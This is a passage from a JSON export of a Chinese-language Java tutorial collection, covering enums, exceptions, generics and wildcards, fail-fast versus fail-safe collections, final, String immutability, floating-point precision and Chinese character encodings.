//此处已经是编译不通过了，这就保证了类型安全\n        }\n    \n        public static void main(String[] arg){\n            UseSeason useSeason = new UseSeason();\n            useSeason.doSomething();\n        }\n    }\n    \n\n[中文：春天，枚举常量:SPRING，数据:1] [中文：夏天，枚举常量:SUMMER，数据:2] [中文：秋天，枚举常量:AUTUMN，数据:3] [中文：冬天，枚举常量:WINTER，数据:4]\n\n这里有一个问题，为什么我要将域添加到枚举类型中呢？目的是想将数据与它的常量关联起来。如1代表春天，2代表夏天。\n\n### 5 总结\n\n那么什么时候应该使用枚举呢？每当需要一组固定的常量的时候，如一周的天数、一年四季等。或者是在我们编译前就知道其包含的所有值的集合。Java 1.5的枚举能满足绝大部分程序员的要求的，它的简明，易用的特点是很突出的。\n\n### 6 用法\n\n### 用法一：常量\n\n    public enum Color {  \n      RED, GREEN, BLANK, YELLOW  \n    }  \n    \n\n### 用法二：switch\n\n    enum Signal {  \n        GREEN, YELLOW, RED  \n    }  \n    public class TrafficLight {  \n        Signal color = Signal.RED;  \n        public void change() {  \n            switch (color) {  \n            case RED:  \n                color = Signal.GREEN;  \n                break;  \n            case YELLOW:  \n                color = Signal.RED;  \n                break;  \n            case GREEN:  \n                color = Signal.YELLOW;  \n                break;  \n            }  \n        }  \n    }  \n    \n\n### 用法三：向枚举中添加新方法\n\n    public enum Color {  \n        RED(\"红色\", 1), GREEN(\"绿色\", 2), BLANK(\"白色\", 3), YELLO(\"黄色\", 4);  \n        // 成员变量  \n        private String name;  \n        private int index;  \n        // 构造方法  \n        private Color(String name, int index) {  \n            this.name = name;  \n            this.index = index;  \n        }  \n        // 普通方法  \n        public static String getName(int index) {  \n            for (Color c : Color.values()) {  \n                if (c.getIndex() == index) {  \n                    return c.name;  \n                }  \n            }  \n            return null;  \n        }  \n        // get set 方法  \n        public String getName() {  \n            return name;  \n        }  \n        public void setName(String name) {  \n            this.name = name;  \n        }  \n        public int getIndex() {  \n            return index;  \n        }  \n        public void setIndex(int index) {  \n            this.index = index;  \n        }  \n    }  \n    \n\n### 用法四：覆盖枚举的方法\n\n    public enum Color {  \n        RED(\"红色\", 1), GREEN(\"绿色\", 2), BLANK(\"白色\", 3), YELLO(\"黄色\", 4);  \n        // 成员变量  \n        private String name;  \n        private int index;  \n        // 构造方法  \n        private Color(String name, int index) {  \n            this.name = name;  \n            this.index = index;  \n        }  \n        //覆盖方法  \n        @Override  \n        public String toString() {  \n            return this.index+\"_\"+this.name;  \n        }  \n    }  \n    \n\n### 用法五：实现接口\n\n    public interface Behaviour {  \n        void print();  \n        String getInfo();  \n    }  \n    public enum Color implements Behaviour{  \n        RED(\"红色\", 1), GREEN(\"绿色\", 2), BLANK(\"白色\", 3), YELLO(\"黄色\", 4);  \n        // 成员变量  \n        private String name;  \n        private int index;  \n        // 构造方法  \n        private Color(String name, int index) {  \n            this.name = name;  \n            this.index = index;  \n        }  \n    //接口方法  \n        @Override  \n        public String getInfo() {  \n            return this.name;  \n        }  \n        //接口方法  \n        @Override  \n        public void print() {  \n            System.out.println(this.index+\":\"+this.name);  \n        }  \n    }  \n    \n\n### 用法六：使用接口组织枚举\n\n    public interface Food {  \n        enum Coffee implements Food{  \n            BLACK_COFFEE,DECAF_COFFEE,LATTE,CAPPUCCINO  \n        }  \n        enum Dessert implements Food{  \n            FRUIT, CAKE, GELATO  \n        }  \n    }\n"
  },
  {
    "path": "docs/basics/java-basic/error-vs-exception.md",
    "content": "Exception和 Error， ⼆者都是 Java异常处理的重要⼦类， 各⾃都包含⼤量⼦类。均继承自Throwable类。\n\n\nError表⽰系统级的错误， 是java运⾏环境内部错误或者硬件问题， 不能指望程序来处理这样的问题， 除了退出运⾏外别⽆选择， 它是Java虚拟机抛出的。\n\nException 表⽰程序需要捕捉、 需要处理的常， 是由与程序设计的不完善⽽出现的问题， 程序必须处理的问题。"
  },
  {
    "path": "docs/basics/java-basic/exception-chain.md",
    "content": "“异常链”是Java中⾮常流⾏的异常处理概念， 是指在进⾏⼀个异常处理时抛出了另外⼀个异常， 由此产⽣了⼀个异常链条。 \n\n该技术⼤多⽤于将“ 受检查异常” （ checked exception） 封装成为“⾮受检查异常”（ unchecked exception)或者RuntimeException。 \n\n顺便说⼀下， 如果因为因为异常你决定抛出⼀个新的异常， 你⼀定要包含原有的异常， 这样， 处理程序才可以通过getCause()和initCause()⽅法来访问异常最终的根源。\n\n从 Java 1.4版本开始，几乎所有的异常都支持异常链。\n\n以下是Throwable中支持异常链的方法和构造函数。\n\n    Throwable getCause()\n    Throwable initCause(Throwable)\n    Throwable(String, Throwable)\n    Throwable(Throwable)\n    \ninitCause和Throwable构造函数的Throwable参数是导致当前异常的异常。 getCause返回导致当前异常的异常，initCause设置当前异常的原因。\n\n以下示例显示如何使用异常链。\n\n    try {\n    \n    } catch (IOException e) {\n        throw new SampleException(\"Other IOException\", e);\n    }\n    \n在此示例中，当捕获到IOException时，将创建一个新的SampleException异常，并附加原始的异常原因，并将异常链抛出到下一个更高级别的异常处理程序。"
  },
  {
    "path": "docs/basics/java-basic/exception-type.md",
    "content": "Java中的异常， 主要可以分为两⼤类， 即受检异常（ checked exception） 和 ⾮受检异常（ unchecked exception）\n\n### 受检异常\n对于受检异常来说， 如果⼀个⽅法在声明的过程中证明了其要有受检异常抛出：\n\n    public void test() throw new Exception{ }\n\n那么，当我们在程序中调⽤他的时候， ⼀定要对该异常进⾏处理（ 捕获或者向上抛出） ， 否则是⽆法编译通过的。 这是⼀种强制规范。\n\n这种异常在IO操作中⽐较多。 ⽐如FileNotFoundException ， 当我们使⽤IO流处理⼀个⽂件的时候， 有⼀种特殊情况， 就是⽂件不存在， 所以， 在⽂件处理的接⼜定义时他会显⽰抛出FileNotFoundException， ⽬的就是告诉这个⽅法的调⽤者，我这个⽅法不保证⼀定可以成功， 是有可能找不到对应的⽂件\n的， 你要明确的对这种情况做特殊处理哦。\n\n所以说， 当我们希望我们的⽅法调⽤者， 明确的处理⼀些特殊情况的时候， 就应该使⽤受检异常。\n\n### 非受检异常\n对于⾮受检异常来说， ⼀般是运⾏时异常， 继承⾃RuntimeException。 在编写代码的时候， 不需要显⽰的捕获，但是如果不捕获， 在运⾏期如果发⽣异常就会中断程序的执⾏。\n\n这种异常⼀般可以理解为是代码原因导致的。 ⽐如发⽣空指针、 数组越界等。 所以， 只要代码写的没问题， 这些异常都是可以避免的。 也就不需要我们显⽰的进⾏处理。\n\n试想⼀下， 如果你要对所有可能发⽣空指针的地⽅做异常处理的话， 那相当于你的所有代码都需要做这件事。"
  },
  {
    "path": "docs/basics/java-basic/extends-vs-super.md",
    "content": "`<? extends T>`和`<? super T>`是Java泛型中的“通配符（Wildcards）”和“边界（Bounds）”的概念。\n\n`<? extends T>`：是指 “上界通配符（Upper Bounds Wildcards）”，即泛型中的类必须为当前类的子类或当前类。\n\n`<? super T>`：是指 “下界通配符（Lower Bounds Wildcards）”，即泛型中的类必须为当前类或者其父类。\n\n\n先看一个列子：\n\n    public class Food {}\n    public class Fruit extends Food {}\n    public class Apple extends Fruit {}\n    public class Banana extends Fruit{}\n    \n    public class GenericTest {\n    \n        public void testExtends(List<? extends Fruit> list){\n    \n            //报错,extends为上界通配符,只能取值,不能放.\n            //因为Fruit的子类不只有Apple还有Banana,这里不能确定具体的泛型到底是Apple还是Banana，所以放入任何一种类型都会报错\n            //list.add(new Apple());\n    \n            //可以正常获取\n            Fruit fruit = list.get(1);\n        }\n    \n        public void testSuper(List<? super Fruit> list){\n    \n            //super为下界通配符，可以存放元素，但是也只能存放当前类或者子类的实例，以当前的例子来讲，\n            //无法确定Fruit的父类是否只有Food一个(Object是超级父类)\n            //因此放入Food的实例编译不通过\n            list.add(new Apple());\n    //        list.add(new Food());\n    \n            Object object = list.get(1);\n        }\n    }\n    \n在testExtends方法中，因为泛型中用的是extends，在向list中存放元素的时候，我们并不能确定List中的元素的具体类型，即可能是Apple也可能是Banana。因此调用add方法时，不论传入new Apple()还是new Banana()，都会出现编译错误。\n\n\n理解了extends之后，再看super就很容易理解了，即我们不能确定testSuper方法的参数中的泛型是Fruit的哪个父类，因此在调用get方法时只能返回Object类型。结合extends可见，在获取泛型元素时，使用extends获取到的是泛型中的上边界的类型(本例子中为Fruit),范围更小。\n\n在使用泛型时，存取元素时用super,获取元素时，用extends。\n\n频繁往外读取内容的，适合用上界Extends。经常往里插入的，适合用下界Super。\n\n本文来源：https://juejin.im/post/5c653fe06fb9a049e3089d88"
  },
  {
    "path": "docs/basics/java-basic/fail-fast-vs-fail-safe.md",
    "content": "### 什么是fail-fast\n\n首先我们看下维基百科中关于fail-fast的解释：\n\n> In systems design, a fail-fast system is one which immediately reports at its interface any condition that is likely to indicate a failure. Fail-fast systems are usually designed to stop normal operation rather than attempt to continue a possibly flawed process. Such designs often check the system's state at several points in an operation, so any failures can be detected early. The responsibility of a fail-fast module is detecting errors, then letting the next-highest level of the system handle them.\n\n大概意思是：在系统设计中，快速失效系统一种可以立即报告任何可能表明故障的情况的系统。快速失效系统通常设计用于停止正常操作，而不是试图继续可能存在缺陷的过程。这种设计通常会在操作中的多个点检查系统的状态，因此可以及早检测到任何故障。快速失败模块的职责是检测错误，然后让系统的下一个最高级别处理错误。\n\n其实，这是一种理念，说白了就是在做系统设计的时候先考虑异常情况，一旦发生异常，直接停止并上报。\n\n举一个最简单的fail-fast的例子：\n\n    public int divide(int divisor,int dividend){\n        if(divisor == 0){\n            throw new RuntimeException(\"divisor can't be null\");\n        }\n        return dividend/divisor;\n    }\n    \n\n上面的代码是一个对两个整数做除法的方法，在divide方法中，我们对除数做了个简单的检查，如果其值为0，那么就直接抛出一个异常，并明确提示异常原因。这其实就是fail-fast理念的实际应用。\n\n这样做的好处就是可以预先识别出一些错误情况，一方面可以避免执行复杂的其他代码，另外一方面，这种异常情况被识别之后也可以针对性的做一些单独处理。\n\n怎么样，现在你知道fail-fast了吧，其实他并不神秘，你日常的代码中可能经常会在使用的。\n\n既然，fail-fast是一种比较好的机制，为什么文章标题说fail-fast会有坑呢？\n\n原因是Java的集合类中运用了fail-fast机制进行设计，一旦使用不当，触发fail-fast机制设计的代码，就会发生非预期情况。\n\n### 集合类中的fail-fast\n\n我们通常说的Java中的fail-fast机制，默认指的是Java集合的一种错误检测机制。当多个线程对部分集合进行结构上的改变的操作时，有可能会产生fail-fast机制，这个时候就会抛出ConcurrentModificationException（后文用CME代替）。\n\nCMException，当方法检测到对象的并发修改，但不允许这种修改时就抛出该异常。\n\n很多时候正是因为代码中抛出了CMException，很多程序员就会很困惑，明明自己的代码并没有在多线程环境中执行，为什么会抛出这种并发有关的异常呢？这种情况在什么情况下才会抛出呢？我们就来深入分析一下。\n\n### 异常复现\n\n在Java中， 如果在foreach 循环里对某些集合元素进行元素的 remove/add 操作的时候，就会触发fail-fast机制，进而抛出CMException。\n\n如以下代码：\n\n    List<String> userNames = new ArrayList<String>() {{\n        add(\"Hollis\");\n        add(\"hollis\");\n        add(\"HollisChuang\");\n        add(\"H\");\n    }};\n    \n    for (String userName : userNames) {\n        if (userName.equals(\"Hollis\")) {\n            userNames.remove(userName);\n        }\n    }\n    \n    System.out.println(userNames);\n    \n\n以上代码，使用增强for循环遍历元素，并尝试删除其中的Hollis字符串元素。运行以上代码，会抛出以下异常：\n\n    Exception in thread \"main\" java.util.ConcurrentModificationException\n    at java.util.ArrayList$Itr.checkForComodification(ArrayList.java:909)\n    at java.util.ArrayList$Itr.next(ArrayList.java:859)\n    at com.hollis.ForEach.main(ForEach.java:22)\n    \n\n同样的，读者可以尝试下在增强for循环中使用add方法添加元素，结果也会同样抛出该异常。\n\n在深入原理之前，我们先尝试把foreach进行解语法糖，看一下foreach具体如何实现的。\n\n我们使用[jad][1]工具，对编译后的class进行反编译，得到以下代码：\n\n    public static void main(String[] args) {\n        // 使用ImmutableList初始化一个List\n        List<String> userNames = new ArrayList<String>() {{\n            add(\"Hollis\");\n            add(\"hollis\");\n            add(\"HollisChuang\");\n            add(\"H\");\n        }};\n    \n        Iterator iterator = userNames.iterator();\n        do\n        {\n            if(!iterator.hasNext())\n                break;\n            String userName = (String)iterator.next();\n            if(userName.equals(\"Hollis\"))\n                userNames.remove(userName);\n        } while(true);\n        System.out.println(userNames);\n    }\n    \n\n可以发现，foreach其实是依赖了while循环和Iterator实现的。\n\n### 异常原理\n\n通过以上代码的异常堆栈，我们可以跟踪到真正抛出异常的代码是：\n\n    java.util.ArrayList$Itr.checkForComodification(ArrayList.java:909)\n    \n\n该方法是在iterator.next()方法中调用的。我们看下该方法的实现：\n\n    final void checkForComodification() {\n        if (modCount != expectedModCount)\n            throw new ConcurrentModificationException();\n    }\n    \n\n如上，在该方法中对modCount和expectedModCount进行了比较，如果二者不相等，则抛出CMException。\n\n那么，modCount和expectedModCount是什么？是什么原因导致他们的值不相等的呢？\n\nmodCount是ArrayList中的一个成员变量。它表示该集合实际被修改的次数。\n\n    List<String> userNames = new ArrayList<String>() {{\n        add(\"Hollis\");\n        add(\"hollis\");\n        add(\"HollisChuang\");\n        add(\"H\");\n    }};\n    \n\n当使用以上代码初始化集合之后该变量就有了。初始值为0。\n\nexpectedModCount 是 ArrayList中的一个内部类——Itr中的成员变量。\n\n    Iterator iterator = userNames.iterator();\n    \n\n以上代码，即可得到一个 Itr类，该类实现了Iterator接口。\n\nexpectedModCount表示这个迭代器预期该集合被修改的次数。其值随着Itr被创建而初始化。只有通过迭代器对集合进行操作，该值才会改变。\n\n那么，接着我们看下userNames.remove(userName);方法里面做了什么事情，为什么会导致expectedModCount和modCount的值不一样。\n\n通过翻阅代码，我们也可以发现，remove方法核心逻辑如下：\n\n    private void fastRemove(int index) {\n        modCount++;\n        int numMoved = size - index - 1;\n        if (numMoved > 0)\n            System.arraycopy(elementData, index+1, elementData, index,\n                             numMoved);\n        elementData[--size] = null; // clear to let GC do its work\n    }\n    \n\n可以看到，它只修改了modCount，并没有对expectedModCount做任何操作。\n\n简单画一张图描述下以上场景：\n\n![][2]￼\n\n简单总结一下，之所以会抛出CMException异常，是因为我们的代码中使用了增强for循环，而在增强for循环中，集合遍历是通过iterator进行的，但是元素的add/remove却是直接使用的集合类自己的方法。这就导致iterator在遍历的时候，会发现有一个元素在自己不知不觉的情况下就被删除/添加了，就会抛出一个异常，用来提示用户，可能发生了并发修改！\n\n所以，在使用Java的集合类的时候，如果发生CMException，优先考虑fail-fast有关的情况，实际上这里并没有真的发生并发，只是Iterator使用了fail-fast的保护机制，只要他发现有某一次修改是未经过自己进行的，那么就会抛出异常。\n\n关于如何解决这种问题，我们在《为什么阿里巴巴禁止在 foreach 循环里进行元素的 remove/add 操作》中介绍过，这里不再赘述了。\n\n### fail-safe\n\n为了避免触发fail-fast机制，导致异常，我们可以使用Java中提供的一些采用了fail-safe机制的集合类。\n\n这样的集合容器在遍历时不是直接在集合内容上访问的，而是先复制原有集合内容，在拷贝的集合上进行遍历。\n\njava.util.concurrent包下的容器都是fail-safe的，可以在多线程下并发使用，并发修改。同时也可以在foreach中进行add/remove 。\n\n我们拿CopyOnWriteArrayList这个fail-safe的集合类来简单分析一下。\n\n    public static void main(String[] args) {\n        List<String> userNames = new CopyOnWriteArrayList<String>() {{\n            add(\"Hollis\");\n            add(\"hollis\");\n            add(\"HollisChuang\");\n            add(\"H\");\n        }};\n    \n        userNames.iterator();\n    \n        for (String userName : userNames) {\n            if (userName.equals(\"Hollis\")) {\n                userNames.remove(userName);\n            }\n        }\n    \n        System.out.println(userNames);\n    }\n    \n\n以上代码，使用CopyOnWriteArrayList代替了ArrayList，就不会发生异常。\n\nfail-safe集合的所有对集合的修改都是先拷贝一份副本，然后在副本集合上进行的，并不是直接对原集合进行修改。并且这些修改方法，如add/remove都是通过加锁来控制并发的。\n\n所以，CopyOnWriteArrayList中的迭代器在迭代的过程中不需要做fail-fast的并发检测。（因为fail-fast的主要目的就是识别并发，然后通过异常的方式通知用户）\n\n但是，虽然基于拷贝内容的优点是避免了ConcurrentModificationException，但同样地，迭代器并不能访问到修改后的内容。如以下代码：\n\n    public static void main(String[] args) {\n        List<String> userNames = new CopyOnWriteArrayList<String>() {{\n            add(\"Hollis\");\n            add(\"hollis\");\n            add(\"HollisChuang\");\n            add(\"H\");\n        }};\n    \n        Iterator it = userNames.iterator();\n    \n        for (String userName : userNames) {\n            if (userName.equals(\"Hollis\")) {\n                userNames.remove(userName);\n            }\n        }\n    \n        System.out.println(userNames);\n    \n        while(it.hasNext()){\n            System.out.println(it.next());\n        }\n    }\n    \n\n我们得到CopyOnWriteArrayList的Iterator之后，通过for循环直接删除原数组中的值，最后在结尾处输出Iterator，结果发现内容如下：\n\n    [hollis, HollisChuang, H]\n    Hollis\n    hollis\n    HollisChuang\n    H\n    \n\n迭代器遍历的是开始遍历那一刻拿到的集合拷贝，在遍历期间原集合发生的修改迭代器是不知道的。\n\n### Copy-On-Write\n\n在了解了CopyOnWriteArrayList之后，不知道大家会不会有这样的疑问：他的add/remove等方法都已经加锁了，还要copy一份再修改干嘛？多此一举？同样是线程安全的集合，这玩意和Vector有啥区别呢？\n\nCopy-On-Write简称COW，是一种用于程序设计中的优化策略。其基本思路是，从一开始大家都在共享同一个内容，当某个人想要修改这个内容的时候，才会真正把内容Copy出去形成一个新的内容然后再改，这是一种延时懒惰策略。\n\nCopyOnWrite容器即写时复制的容器。通俗的理解是当我们往一个容器添加元素的时候，不直接往当前容器添加，而是先将当前容器进行Copy，复制出一个新的容器，然后新的容器里添加元素，添加完元素之后，再将原容器的引用指向新的容器。\n\nCopyOnWriteArrayList中add/remove等写方法是需要加锁的，目的是为了避免Copy出N个副本出来，导致并发写。\n\n但是，CopyOnWriteArrayList中的读方法是没有加锁的。\n\n    public E get(int index) {\n        return get(getArray(), index);\n    }\n    \n\n这样做的好处是我们可以对CopyOnWrite容器进行并发的读，当然，这里读到的数据可能不是最新的。因为写时复制的思想是通过延时更新的策略来实现数据的最终一致性的，并非强一致性。\n\n**所以CopyOnWrite容器是一种读写分离的思想，读和写不同的容器。**而Vector在读写的时候使用同一个容器，读写互斥，同时只能做一件事儿。\n\n [1]: https://www.hollischuang.com/archives/58\n [2]: https://www.hollischuang.com/wp-content/uploads/2019/04/15551448234429.jpg\n"
  },
  {
    "path": "docs/basics/java-basic/final-in-java.md",
    "content": "final是Java中的一个关键字，它所表示的是“这部分是无法修改的”。\n\n使用 final 可以定义 ：变量、方法、类。\n\n### final变量\n\n如果将变量设置为final，则不能更改final变量的值(它将是常量)。\n\n\n    class Test{\n         final String name = \"Hollis\";\n     \n    }\n\n一旦final变量被定义之后，是无法进行修改的。\n\n### final方法\n\n如果任何方法声明为final，则不能覆盖它。\n\n    class Parent {\n        final void name() {\n            System.out.println(\"Hollis\");\n        }\n    }\n    \n当我们定义以上类的子类的时候，无法覆盖其name方法，会编译失败。\n\n\n### final类\n\n如果把任何一个类声明为final，则不能继承它。\n\n\n    final class Parent {\n        \n    }\n    \n    \n以上类不能被继承！"
  },
  {
    "path": "docs/basics/java-basic/final-string.md",
    "content": "String在Java中特别常用，而且我们经常要在代码中对字符串进行赋值和改变他的值，但是，为什么我们说字符串是不可变的呢？\n\n首先，我们需要知道什么是不可变对象？\n\n不可变对象是在完全创建后其内部状态保持不变的对象。这意味着，一旦对象被赋值给变量，我们既不能更新引用，也不能通过任何方式改变内部状态。\n\n可是有人会有疑惑，String为什么不可变，我的代码中经常改变String的值啊，如下：\n\n```\nString s = \"abcd\";\ns = s.concat(\"ef\");\n\n```\n\n\n这样，操作，不就将原本的\"abcd\"的字符串改变成\"abcdef\"了么？\n\n但是，虽然字符串内容看上去从\"abcd\"变成了\"abcdef\"，但是实际上，我们得到的已经是一个新的字符串了。\n\n![][1]￼\n\n如上图，在堆中重新创建了一个\"abcdef\"字符串，和\"abcd\"并不是同一个对象。\n\n所以，一旦一个string对象在内存(堆)中被创建出来，他就无法被修改。而且，String类的所有方法都没有改变字符串本身的值，都是返回了一个新的对象。\n\n如果我们想要一个可修改的字符串，可以选择StringBuffer 或者 StringBuilder这两个代替String。\n\n### 为什么String要设计成不可变\n\n在知道了\"String是不可变\"的之后，大家是不是一定都很疑惑：为什么要把String设计成不可变的呢？有什么好处呢？\n\n这个问题，困扰过很多人，甚至有人直接问过Java的创始人James Gosling。\n\n在一次采访中James Gosling被问到什么时候应该使用不可变变量，他给出的回答是:\n\n> I would use an immutable whenever I can.\n\n那么，他给出这个答案背后的原因是什么呢？是基于哪些思考的呢？\n\n其实，主要是从缓存、安全性、线程安全和性能等角度触发的。\n\nQ：缓存、安全性、线程安全和性能？这有都是啥  \nA：你别急，听我一个一个给你讲就好了。\n\n#### 缓存\n\n字符串是使用最广泛的数据结构。大量的字符串的创建是非常耗费资源的，所以，Java提供了对字符串的缓存功能，可以大大的节省堆空间。\n\nJVM中专门开辟了一部分空间来存储Java字符串，那就是字符串池。\n\n通过字符串池，两个内容相同的字符串变量，可以从池中指向同一个字符串对象，从而节省了关键的内存资源。\n\n```\nString s = \"abcd\";\nString s2 = s;\n```\n\n\n对于这个例子，s和s2都表示\"abcd\"，所以他们会指向字符串池中的同一个字符串对象：\n\n![][2]￼\n\n但是，之所以可以这么做，主要是因为字符串的不变性。试想一下，如果字符串是可变的，我们一旦修改了s的内容，那必然导致s2的内容也被动的改变了，这显然不是我们想看到的。\n\n#### 安全性\n\n字符串在Java应用程序中广泛用于存储敏感信息，如用户名、密码、连接url、网络连接等。JVM类加载器在加载类的时也广泛地使用它。\n\n因此，保护String类对于提升整个应用程序的安全性至关重要。\n\n当我们在程序中传递一个字符串的时候，如果这个字符串的内容是不可变的，那么我们就可以相信这个字符串中的内容。\n\n但是，如果是可变的，那么这个字符串内容就可能随时都被修改。那么这个字符串内容就完全不可信了。这样整个系统就没有安全性可言了。\n\n#### 线程安全\n\n不可变会自动使字符串成为线程安全的，因为当从多个线程访问它们时，它们不会被更改。\n\n因此，一般来说，不可变对象可以在同时运行的多个线程之间共享。它们也是线程安全的，因为如果线程更改了值，那么将在字符串池中创建一个新的字符串，而不是修改相同的值。因此，字符串对于多线程来说是安全的。\n\n#### hashcode缓存\n\n由于字符串对象被广泛地用作数据结构，它们也被广泛地用于哈希实现，如HashMap、HashTable、HashSet等。在对这些散列实现进行操作时，经常调用hashCode()方法。\n\n不可变性保证了字符串的值不会改变。因此，hashCode()方法在String类中被重写，以方便缓存，这样在第一次hashCode()调用期间计算和缓存散列，并从那时起返回相同的值。\n\n在String类中，有以下代码：\n\n```\nprivate int hash;//this is used to cache hash code.\n```\n\n\n#### 性能\n\n前面提到了的字符串池、hashcode缓存等，都是提升性能的提现。\n\n因为字符串不可变，所以可以用字符串池缓存，可以大大节省堆内存。而且还可以提前对hashcode进行缓存，更加高效\n\n由于字符串是应用最广泛的数据结构，提高字符串的性能对提高整个应用程序的总体性能有相当大的影响。\n\n### 总结\n\n通过本文，我们可以得出这样的结论：字符串是不可变的，因此它们的引用可以被视为普通变量，可以在方法之间和线程之间传递它们，而不必担心它所指向的实际字符串对象是否会改变。\n\n我们还了解了促使Java语言设计人员将该类设置为不可变类的其他原因。主要考虑的是缓存、安全性、线程安全和性能等方面\n\n [1]: https://www.hollischuang.com/wp-content/uploads/2021/03/16163108328434.jpg\n [2]: https://www.hollischuang.com/wp-content/uploads/2021/03/16163114985563.jpg"
  },
  {
    "path": "docs/basics/java-basic/float-amount.md",
    "content": "由于计算机中保存的小数其实是十进制的小数的近似值，并不是准确值，所以，千万不要在代码中使用浮点数来表示金额等重要的指标。\n\n建议使用BigDecimal或者Long（单位为分）来表示金额。"
  },
  {
    "path": "docs/basics/java-basic/float.md",
    "content": "我们知道，计算机的数字的存储和运算都是通过二进制进行的，对于，十进制整数转换为二进制整数采用\"除2取余，逆序排列\"法\n\n具体做法是：\n\n*   用2整除十进制整数，可以得到一个商和余数；\n*   再用2去除商，又会得到一个商和余数，如此进行，直到商为小于1时为止\n*   然后把先得到的余数作为二进制数的低位有效位，后得到的余数作为二进制数的高位有效位，依次排列起来。\n\n如，我们想要把127转换成二进制，做法如下：\n\n![-w624](https://www.hollischuang.com/wp-content/uploads/2020/10/16024170911973.jpg)\n\n那么，十进制小数转换成二进制小数，又该如何计算呢？\n\n\n十进制小数转换成二进制小数采用\"乘2取整，顺序排列\"法。\n\n具体做法是： \n\n* 用2乘十进制小数，可以得到积 \n* 将积的整数部分取出，再用2乘余下的小数部分，又得到一个积 \n* 再将积的整数部分取出，如此进行，直到积中的小数部分为零，此时0或1为二进制的最后一位。或者达到所要求的精度为止。\n\n\n如尝试将0.625转成二进制：\n\n![-w624](https://www.hollischuang.com/wp-content/uploads/2020/10/16024172361526.jpg)\n\n但是0.625是一个特列，用同样的算法，请计算下0.1对应的二进制是多少：\n\n![-w624](https://www.hollischuang.com/wp-content/uploads/2020/10/16024175486626.jpg)\n\n我们发现，0.1的二进制表示中出现了无限循环的情况，也就是(0.1)10 = (0.000110011001100…)2\n\n这种情况，计算机就没办法用二进制精确的表示0.1了。\n\n所以，为了解决部分小数无法使用二进制精确表示的问题，于是就有了IEEE 754规范。\n\nIEEE二进制浮点数算术标准（IEEE 754）是20世纪80年代以来最广泛使用的浮点数运算标准，为许多CPU与浮点运算器所采用。\n\n>浮点数和小数并不是完全一样的，计算机中小数的表示法，其实有定点和浮点两种。因为在位数相同的情况下，定点数的表示范围要比浮点数小。所以在计算机科学中，使用浮点数来表示实数的近似值。\n\nIEEE 754规定了四种表示浮点数值的方式：单精确度（32位）、双精确度（64位）、延伸单精确度（43比特以上，很少使用）与延伸双精确度（79比特以上，通常以80位实现）。\n\n其中最常用的就是32位单精度浮点数和64位双精度浮点数。\n\nIEEE并没有解决小数无法精确表示的问题，只是提出了一种使用近似值表示小数的方式，并且引入了精度的概念。\n\n一个浮点数a由两个数m和e来表示：a = m × b^e。\n\n在任意一个这样的系统中，我们选择一个基数b（记数系统的基）和精度p（即使用多少位来存储）。m（即尾数）是形如±d.ddd...ddd的p位数（每一位是一个介于0到b-1之间的整数，包括0和b-1)。\n\n如果m的第一位是非0整数,m称作规格化的。有一些描述使用一个单独的符号位(s 代表+或者-）来表示正负，这样m必须是正的。e是指数。"
  },
  {
    "path": "docs/basics/java-basic/gbk-gb2312-gb18030.md",
    "content": "三者都是支持中文字符的编码方式，最常用的是GBK。\n\n以下内容来自CSDN，介绍的比较详细。\n\nGB2312（1980年）：16位字符集，收录有6763个简体汉字，682个符号，共7445个字符； \n优点：适用于简体中文环境，属于中国国家标准，通行于大陆，新加坡等地也使用此编码； \n缺点：不兼容繁体中文，其汉字集合过少。 \n\nGBK（1995年）：16位字符集，收录有21003个汉字，883个符号，共21886个字符； \n优点：适用于简繁中文共存的环境，为简体Windows所使用（代码页cp936），向下完全兼容gb2312，向上支持 ISO-10646 国际标准 ；所有字符都可以一对一映射到unicode2.0上；\n缺点：不属于官方标准，和big5之间需要转换；很多搜索引擎都不能很好地支持GBK汉字。\n\nGB18030（2000年）：32位字符集；收录了27484个汉字，同时收录了藏文、蒙文、维吾尔文等主要的少数民族文字。 \n优点：可以收录所有你能想到的文字和符号，属于中国最新的国家标准； \n缺点：目前支持它的软件较少。"
  },
  {
    "path": "docs/basics/java-basic/genericity-list-wildcard.md",
    "content": "`List<?>` 是一个未知类型的List，而`List<Object>` 其实是任意类型的List。你可以把`List<String>`, L`ist<Integer>`赋值给`List<?>`，却不能把`List<String>`赋值给 `List<Object>`。\n"
  },
  {
    "path": "docs/basics/java-basic/genericity-list.md",
    "content": "原始类型List和带参数类型`List<Object>`之间的主要区别是，在编译时编译器不会对原始类型进行类型安全检查，却会对带参数的类型进行检查。\n\n通过使用Object作为类型，可以告知编译器该方法可以接受任何类型的对象，比如String或Integer。\n\n它们之间的第二点区别是，你可以把任何带参数的类型传递给原始类型List，但却不能把`List<String>`传递给接受 `List<Object>`的方法，因为会产生编译错误。\n"
  },
  {
    "path": "docs/basics/java-basic/generics-problem.md",
    "content": "\n\n### 一、当泛型遇到重载\n\n    public class GenericTypes {  \n    \n        public static void method(List<String> list) {  \n            System.out.println(\"invoke method(List<String> list)\");  \n        }  \n    \n        public static void method(List<Integer> list) {  \n            System.out.println(\"invoke method(List<Integer> list)\");  \n        }  \n    }  \n    \n\n上面这段代码，有两个重载的函数，因为他们的参数类型不同，一个是`List<String>`另一个是`List<Integer>` ，但是，这段代码是编译通不过的。因为我们前面讲过，参数`List<Integer>`和`List<String>`编译之后都被擦除了，变成了一样的原生类型List<e>，擦除动作导致这两个方法的特征签名变得一模一样。</e>\n\n### 二、当泛型遇到catch\n\n如果我们自定义了一个泛型异常类GenericException<t>，那么，不要尝试用多个catch取匹配不同的异常类型，例如你想要分别捕获GenericException<string>、GenericException<integer>，这也是有问题的。</integer></string></t>\n\n### 三、当泛型内包含静态变量\n\n    public class StaticTest{\n        public static void main(String[] args){\n            GT<Integer> gti = new GT<Integer>();\n            gti.var=1;\n            GT<String> gts = new GT<String>();\n            gts.var=2;\n            System.out.println(gti.var);\n        }\n    }\n    class GT<T>{\n        public static int var=0;\n        public void nothing(T x){}\n    }\n    \n\n答案是——2！\n\n由于经过类型擦除，所有的泛型类实例都关联到同一份字节码上，泛型类的所有静态变量是共享的。\n"
  },
  {
    "path": "docs/basics/java-basic/generics.md",
    "content": "Java泛型（ generics） 是JDK 5中引⼊的⼀个新特性， 允许在定义类和接⼜的时候使⽤类型参数（ type parameter） 。 \n\n声明的类型参数在使⽤时⽤具体的类型来替换。 泛型最主要的应⽤是在JDK 5中的新集合类框架中。\n\n泛型最⼤的好处是可以提⾼代码的复⽤性。 以List接⼜为例，我们可以将String、 Integer等类型放⼊List中， 如不⽤泛型， 存放String类型要写⼀个List接口， 存放Integer要写另外⼀个List接口， 泛型可以很好的解决这个问题。"
  },
  {
